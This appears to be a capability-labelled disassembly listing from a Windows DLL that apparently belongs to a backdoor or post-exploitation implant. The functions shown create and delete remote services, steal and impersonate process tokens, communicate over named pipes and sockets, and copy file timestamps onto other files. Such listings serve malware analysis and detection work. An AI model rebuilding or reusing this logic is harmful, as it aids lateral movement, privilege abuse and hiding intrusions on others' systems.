Function at 0x18000fcb0
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x6000
mov ebx, edx
call fcn.180015838
mov r12d, 0x2000
mov rcx, rax
mov edx, r12d
mov r15, rax
call fcn.180015950
mov edx, r12d
mov rcx, r15
mov r14, rax
call fcn.180015950
mov edx, r12d
mov rcx, r15
mov rsi, rax
call fcn.180015950
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.18001590c
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, r14
call fcn.1800159b0
mov r8d, r12d
mov rdx, rsi
mov rcx, r14
call fcn.1800123ec
lea rcx, [rsp + 0x20]
mov r8d, r12d
mov rdx, rbp
call fcn.1800159b0
mov rcx, rsi
call fcn.18000c9cc
mov r8d, r12d
mov rcx, r14
lea rdx, [rax + 4]
mov rbx, rax
mov dword [rax], 1
call fcn.1800123ec
lea rdx, [rbx + 0x2004]
mov r8d, r12d
mov rcx, rbp
call fcn.1800123ec
mov rcx, r15
call fcn.1800158e8
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, qword [0x180040460]
mov rdi, rcx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
call fcn.18000d0c4
jmp 0x18000c8c5
cmp dword [rbx], 1
jne 0x18000c8be
lea r8, [rbx + 0x2004]
lea rdx, [0x18002d790]
lea rcx, [rsp + 0x20]
call fcn.18000d128
mov rbx, qword [rbx + 0x4008]
test rbx, rbx
jne 0x18000c8a1
lea rcx, [rsp + 0x20]
call fcn.18000d124
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d188
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000d0a0
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
cmp edx, 0x3ff
jg 0x18000f771
push rbx
sub rsp, 0x430
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x420], rax
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov r8, rbx
call fcn.18001ac20
lea rcx, [rsp + 0x20]
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov rcx, qword [rsp + 0x420]
xor rcx, rsp
call fcn.18001b630
add rsp, 0x430
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x8000
mov ebx, edx
call fcn.180015838
mov r13d, 0x2000
mov rcx, rax
mov edx, r13d
mov r12, rax
call fcn.180015950
mov edx, r13d
mov rcx, r12
mov rbp, rax
call fcn.180015950
mov edx, r13d
mov rcx, r12
mov rsi, rax
call fcn.180015950
mov edx, r13d
mov rcx, r12
mov r14, rax
call fcn.180015950
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov r15, rax
call fcn.18001590c
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.1800159b0
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r14
call fcn.1800159b0
lea rcx, [rsp + 0x20]
call fcn.180015978
mov r8d, r13d
mov rdx, rsi
mov rcx, rbp
movzx ebx, ax
call fcn.1800123ec
mov r9d, r13d
mov r8, rsi
mov edx, r13d
mov rcx, r15
call fcn.18001c2cc
mov r9d, r13d
mov r8, r14
mov edx, r13d
mov rcx, r15
call fcn.18001c2cc
test bl, 1
je 0x18000f8a3
lea rcx, [rsp + 0x80]
call fcn.180012470
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000f87f
lea edx, [rax + 1]
mov rcx, r15
call fcn.180010514
mov rcx, qword [rsp + 0x80]
call fcn.1800124a8
jmp 0x18000f8c0
movzx r8d, bx
or rax, 0xffffffffffffffff
inc rax
cmp byte [r15 + rax], 0
jne 0x18000f8ab
lea edx, [rax + 1]
mov rcx, r15
call fcn.180010514
mov rcx, r12
call fcn.1800158e8
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
mov rsi, rcx
movsxd rdi, edx
mov ebx, 0x68
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, ebx
call fcn.18001aa50
xor eax, eax
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r14d, r14d
mov word [rbp - 0x70], r14w
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x60], r14
mov dword [rbp - 0x74], 0x101
cmp edi, 0x3ff
jg 0x18000f9af
lea rcx, [rbp - 0x40]
mov r8, rdi
mov rdx, rsi
call fcn.18001ac20
cmp rdi, 0x400
jae 0x18000f9d6
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x50]
lea rcx, [rbp - 0x40]
mov edx, edi
mov dword [rsp + 0x28], r14d
mov byte [rbp + rdi - 0x40], r14b
mov dword [rsp + 0x20], r14d
call fcn.180016bdc
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.18001b630
lea r11, [rsp + 0x4d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.18001b7e0
int3
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001590c
lea rcx, [rsp + 0x20]
call fcn.18001591c
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x48
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x70], r8
mov edi, edx
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x6800
lea r12d, [rax + 0x4e20]
call fcn.180015838
mov ebp, 0x400
mov rcx, rax
mov edx, ebp
mov r14, rax
call fcn.180015950
mov edx, ebp
mov rcx, r14
mov rsi, rax
call fcn.180015950
mov edx, 0x4000
mov rcx, r14
mov rbp, rax
call fcn.180015950
mov edx, 0x2000
mov rcx, r14
mov r13, rax
call fcn.180015950
lea rcx, [rsp + 0x78]
mov r8d, edi
mov rdx, rbx
mov r15, rax
call fcn.18001590c
mov ebx, 0x400
lea rcx, [rsp + 0x78]
mov r8d, ebx
mov rdx, rsi
call fcn.1800159b0
lea rcx, [rsp + 0x78]
mov r8d, ebx
mov rdx, rbp
call fcn.1800159b0
lea rcx, [rsp + 0x78]
mov r8d, 0x4000
mov rdx, r13
call fcn.1800159b0
xor edx, edx
mov r8d, 0xf003f
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
xor eax, eax
test rdi, rdi
jne 0x18000fb10
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x33]
mov rdx, rsi
mov r8d, eax
call fcn.18000d5f8
jmp 0x18000fc7d
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov dword [rsp + 0x30], eax
mov r9d, 0xf01ff
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rbx, rax
test rax, rax
jne 0x18000fb83
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._s_on__s:__d
lea ecx, [rbx + 0x36]
mov r9, rsi
mov r8, rbp
mov dword [rsp + 0x20], eax
call fcn.18000d4a0
jmp 0x18000fc74
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x18000fbaf
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x41d
je 0x18000fbaf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, gethostname
jmp 0x18000fc27
lea r8, str.Started_service__s_on__s
mov r9, rbp
mov edx, 0x2000
mov rcx, r15
mov qword [rsp + 0x20], rsi
call fcn.18001ab5c
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [r15 + rdx], 0
jne 0x18000fbcf
xor r8d, r8d
mov rcx, r15
call qword [rsp + WSAStartup]
jmp 0x18000fc0f
lea rdx, [rsp + 0x90]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x18000fc1c
cmp dword [rsp + 0x94], 1
je 0x18000fc3d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, r12d
jb 0x18000fbe5
jmp 0x18000fc3d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, gethostname
lea rdx, str._s_on__s:__d
mov r9, rsi
mov r8, rbp
mov dword [rsp + 0x20], eax
call fcn.18000d4a0
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x18000fc6b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._s_on__s:__d
mov r9, rsi
mov r8, rbp
mov ecx, reloc.WS2_32.dll_gethostname
mov dword [rsp + 0x20], eax
call fcn.18000d4a0
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r14
call fcn.1800158e8
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.18001b630
mov rbx, qword [rsp + 0x118]
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
push rbx
sub rsp, 0x830
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x820], rax
mov rbx, rcx
lea rcx, [rsp + 0x21]
xor edx, edx
mov r8d, 0x7ff
mov byte [rsp + 0x20], 0
call fcn.18001aa50
lea rdx, [rsp + 0x20]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x18000fd08
lea rcx, [rsp + 0x20]
mov r8d, reloc.WS2_32.dll_send
mov edx, eax
call rbx
mov rcx, qword [rsp + 0x820]
xor rcx, rsp
call fcn.18001b630
add rsp, 0x830
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x4c00
mov ebx, edx
call fcn.180015838
mov edx, 0x4000
mov rcx, rax
mov r15, rax
call fcn.180015950
mov r13d, 0x400
mov rcx, r15
mov edx, r13d
mov rsi, rax
call fcn.180015950
mov edx, r13d
mov rcx, r15
mov r12, rax
call fcn.180015950
mov edx, r13d
mov rcx, r15
mov rbp, rax
call fcn.180015950
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call fcn.18001590c
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r12
call fcn.1800159b0
test eax, eax
je 0x18000fe18
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.1800159b0
test eax, eax
je 0x18000fe18
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r14
call fcn.1800159b0
test eax, eax
je 0x18000fe18
lea rcx, [rsp + 0x20]
mov r8d, 0x4000
mov rdx, rsi
call fcn.1800159b0
test eax, eax
je 0x18000fe18
call fcn.18001a298
mov r9, rsi
mov r8, r14
mov rdx, rbp
mov rcx, r12
call fcn.180010618
call fcn.18001a2c8
mov rcx, r15
call fcn.1800158e8
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov rdi, rcx
mov ebx, edx
mov esi, 0x68
lea rcx, [rbp - 0x29]
xor edx, edx
mov r8d, esi
call fcn.18001aa50
xor eax, eax
lea rcx, [rbp - 0x29]
mov dword [rbp - 0x29], esi
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r12d, r12d
mov r15d, 0x2000
mov dword [rbp + 0x13], 0x101
mov word [rbp + 0x17], r12w
mov ecx, r15d
mov qword [rbp + 0x2f], r12
mov qword [rbp + 0x37], r12
mov qword [rbp + 0x27], r12
call fcn.180015838
mov edx, r15d
mov rcx, rax
mov r14, rax
call fcn.180015950
lea rcx, [rbp - 0x41]
mov r8d, ebx
mov rdx, rdi
mov rsi, rax
call fcn.18001590c
lea rcx, [rbp - 0x41]
call fcn.18001591c
lea rcx, [rbp - 0x41]
mov r8d, r15d
mov rdx, rsi
mov ebx, eax
call fcn.1800159b0
mov r15, qword [0x18004a7a0]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x18000ff6f
lea r8, [0x18004a7a0]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000ff6f
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rsi + rdx], r12b
jne 0x18000ff2d
mov dword [rsp + 0x30], ebx
lea r9, [rbp - 0x59]
lea r8, [rbp - 0x29]
mov rcx, rsi
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
call fcn.1800168a0
mov rcx, qword [0x18004a7a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000ff84
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, ebx
mov ecx, 0x1e
mov r8d, eax
call fcn.18000d518
mov rcx, r14
mov qword [0x18004a7a0], r15
call fcn.1800158e8
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
jmp 0x180029cf8
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.18001590c
lea rcx, [rsp + 0x20]
call fcn.18001591c
lea rcx, [rsp + 0x20]
mov dword [section..data], eax
call fcn.18001591c
xor edx, edx
lea ecx, [rax - 1]
cmp ecx, 0x62
cmova eax, edx
mov dword [0x180040468], eax
add rsp, 0x48
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov ebx, edx
mov rdi, rcx
or rsi, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
lea ebp, [rax + 0xea60]
call fcn.18001590c
lea rcx, [rsp + 0x20]
call fcn.180015a28
lea rcx, [rsp + 0x20]
mov r14, rax
call fcn.18001591c
lea rcx, [rsp + 0x20]
mov r15d, eax
call fcn.1800158a8
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.18000d124
mov edi, eax
call fcn.18000e0e8
jmp 0x180010096
mov edx, r15d
mov rcx, r14
call fcn.180010874
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800100d6
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, ebp
jb 0x180010077
mov ecx, 0x46
call fcn.18000d5d8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rsi
call sub.WS2_32.dll_closesocket
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
xor r9d, r9d
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call sub.WS2_32.dll_send
jmp 0x1800100aa
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov edi, edx
mov rbx, rcx
xor esi, esi
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea rcx, [rbp - 0x61]
mov r8d, edi
mov rdx, rbx
lea r14d, [rax + 0xea60]
call fcn.18001590c
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x61]
mov r8d, 0x80
call fcn.1800159b0
lea rcx, [rbp - 0x61]
call fcn.1800158a8
lea rcx, [rbp - 0x61]
mov rdi, rax
call fcn.18000d124
xor ebx, ebx
mov dword [rbp - 0x79], eax
lea rdx, [rbp - 0x71]
lea rcx, [rbp - 0x49]
call fcn.1800142a4
test eax, eax
jne 0x1800101b9
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
je 0x18001019d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, r14d
jae 0x18001019d
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0xa
jb 0x180010164
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp - 0x49]
mov ecx, gethostbyname
mov r8d, eax
call fcn.18000d5f8
jmp 0x18001023c
mov rcx, qword [rbp - 0x71]
and qword [rsp + 0x20], rsi
lea r9, [rbp - 0x69]
lea rdx, [rbp - 0x79]
mov r8d, 4
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rbp - 0x79]
test eax, eax
je 0x180010213
mov ebx, 0x2000
mov rcx, qword [rbp - 0x71]
sub eax, esi
mov edx, esi
cmp eax, ebx
lea r9, [rbp - 0x69]
cmova eax, ebx
and qword [rsp + 0x20], 0
add rdx, rdi
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x180010213
add esi, dword [rbp - 0x69]
mov eax, dword [rbp - 0x79]
cmp esi, eax
jb 0x1800101e2
mov rcx, qword [rbp - 0x71]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rbp - 0x71]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbp - 0x71]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.18001b630
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x780]
sub rsp, 0x880
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rbp + 0x770], rax
mov rbx, rcx
mov edi, edx
lea rcx, [rsp + 0x71]
xor edx, edx
mov r8d, 0x3ff
mov byte [rsp + 0x70], 0
call fcn.18001aa50
lea rcx, [rbp + 0x371]
xor edx, edx
mov r8d, 0x3ff
mov byte [rbp + 0x370], 0
call fcn.18001aa50
lea rcx, [rsp + 0x58]
mov r8d, edi
mov rdx, rbx
call fcn.18001590c
mov ebx, 0x400
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x58]
mov r8d, ebx
call fcn.1800159b0
test eax, eax
je 0x18001040e
lea rdx, [rbp + 0x370]
lea rcx, [rsp + 0x58]
mov r8d, ebx
call fcn.1800159b0
test eax, eax
je 0x18001040e
and qword [rsp + 0x30], 0
mov edi, 3
lea rcx, [rsp + 0x70]
lea r8d, [rdi - 2]
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x2000080
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
jne 0x180010360
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rsp + 0x70]
mov r8d, eax
mov ecx, gethostbyname
call fcn.18000d5f8
jmp 0x18001040e
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
jne 0x180010389
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 9
jmp 0x1800103fe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
and qword [rsp + 0x30], 0
xor r9d, r9d
lea r8d, [r9 + 2]
lea rcx, [rbp + 0x370]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
test rax, rax
jne 0x1800103d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, [rbp + 0x370]
jmp 0x18001034e
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
jne 0x180010405
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0xa
mov edx, eax
call fcn.18000d50c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x770]
xor rcx, rsp
call fcn.18001b630
lea r11, [rsp + 0x880]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rbp, rcx
mov ecx, 0x400
mov rbx, r8
mov esi, edx
call fcn.18001a7a4
mov rdi, rax
test rax, rax
je 0x1800104fd
lea rcx, [rsp + 0x20]
mov r8d, esi
mov rdx, rbp
call fcn.18001590c
lea rcx, [rsp + 0x20]
mov r8d, 0x400
mov rdx, rdi
call fcn.1800159b0
mov rcx, rdi
test eax, eax
jne 0x180010497
call fcn.18001a764
jmp 0x1800104fd
mov rdx, rbx
call fcn.18001c0a0
mov rsi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x1800104e3
lea rcx, [rsp + 0x20]
call fcn.18000d124
lea rcx, [rsp + 0x20]
movsxd rbx, eax
call fcn.1800158a8
mov r9, rsi
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.18001c23c
mov rcx, rsi
call fcn.18001bf60
mov rcx, rdi
jmp 0x180010490
mov rcx, rdi
call fcn.18001a764
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 8
mov edx, eax
call fcn.18000d50c
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x230
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x220], rax
mov rdi, rcx
mov rcx, qword [0x18003e020]
or rbx, 0xffffffffffffffff
cmp rcx, rbx
je 0x180010975
mov edx, 0x3a98
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x18003e018]
cmp rcx, rbx
je 0x1800109e1
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x18001099f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, reloc.WS2_32.dll_inet_ntoa
mov edx, eax
call fcn.18000d50c
jmp 0x1800109eb
mov rcx, qword [0x18003e018]
lea rdx, [rsp + 0x20]
mov r8d, 0x200
mov qword [0x18004a7a0], rcx
call fcn.18001a2f8
test eax, eax
je 0x1800109eb
lea rax, [rsp + 0x20]
inc rbx
cmp byte [rax + rbx], 0
jne 0x1800109c6
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8d, reloc.WS2_32.dll_ntohs
call rdi
jmp 0x1800109eb
mov ecx, 1
call fcn.18000d5d8
mov rcx, qword [rsp + 0x220]
xor rcx, rsp
call fcn.18001b630
mov rbx, qword [rsp + 0x248]
add rsp, 0x230
pop rdi
ret
cmp edx, 0x100
jge 0x180010ad4
push rbx
sub rsp, 0x150
mov rax, qword [0x18003f040]
xor rax, rsp
mov qword [rsp + 0x140], rax
movsxd rbx, edx
mov rdx, rcx
lea rcx, [rsp + 0x40]
mov r8, rbx
call fcn.18001b0b0
cmp rbx, 0x100
jae 0x180010ad5
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
or rax, 0xffffffffffffffff
lea rcx, [rsp + 0x40]
lea edx, [rax + 4]
lea r9d, [rax + 3]
lea r8d, [rax + 5]
mov byte [rsp + rbx + 0x40], 0
mov qword [0x18003e018], rax
mov qword [0x18003e010], rax
mov qword [0x18003e020], rax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x18003e010], rax
test rax, rax
je 0x180010abc
lea rcx, [0x180010cfc]
xor edx, edx
call fcn.180019bf4
mov qword [0x18003e020], rax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.18001b630
add rsp, 0x150
pop rbx
ret
call fcn.18001b7e0
int3
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rdi, rcx
mov ebx, edx
lea rcx, [rsp + 0x20]
mov edx, 0x8000
mov rsi, r8
call fcn.18000d0c4
cmp qword [0x18004a7a0], 0
je 0x180010b2e
call fcn.18001a298
mov r8, qword [0x18004a7a0]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.180010de8
call fcn.18001a2c8
jmp 0x180010b76
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x68]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180010b6c
mov r8, qword [rsp + 0x68]
lea r9, [rsp + 0x20]
mov edx, ebx
mov rcx, rdi
call fcn.180010de8
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180010b76
mov ecx, 0x3b
call fcn.18000d5d8
lea rcx, [rsp + 0x20]
call fcn.18000d124
test eax, eax
je 0x180010ba4
lea rcx, [rsp + 0x20]
call fcn.18000d124
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d188
xor r8d, r8d
mov rcx, rax
mov edx, ebx
call rsi
lea rcx, [rsp + 0x20]
call fcn.18000d0a0
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0x200
mov ebx, edx
call fcn.180015838
mov edx, 0x100
mov rcx, rax
mov r14, rax
call fcn.180015950
mov edx, 0x100
mov rcx, r14
mov rsi, rax
call fcn.180015950
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.18001590c
lea rcx, [rsp + 0x20]
mov r8d, 0x100
mov rdx, rsi
call fcn.1800159b0
test eax, eax
je 0x180010cd9
lea rcx, [rsp + 0x20]
mov r8d, 0x100
mov rdx, rbp
call fcn.1800159b0
test eax, eax
je 0x180010cd9
cmp qword [0x18003e020], 0xffffffffffffffff
je 0x180010cd9
mov rcx, rsi
call fcn.180011050
test eax, eax
jne 0x180010cb7
mov rdx, rbp
mov rcx, rsi
call fcn.180010f30
test eax, eax
jne 0x180010c8a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, ntohl
mov edx, eax
call fcn.18000d50c
jmp 0x180010cd9
mov rcx, rsi
call fcn.180011050
test eax, eax
jne 0x180010cb7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x41d
je 0x180010cb7
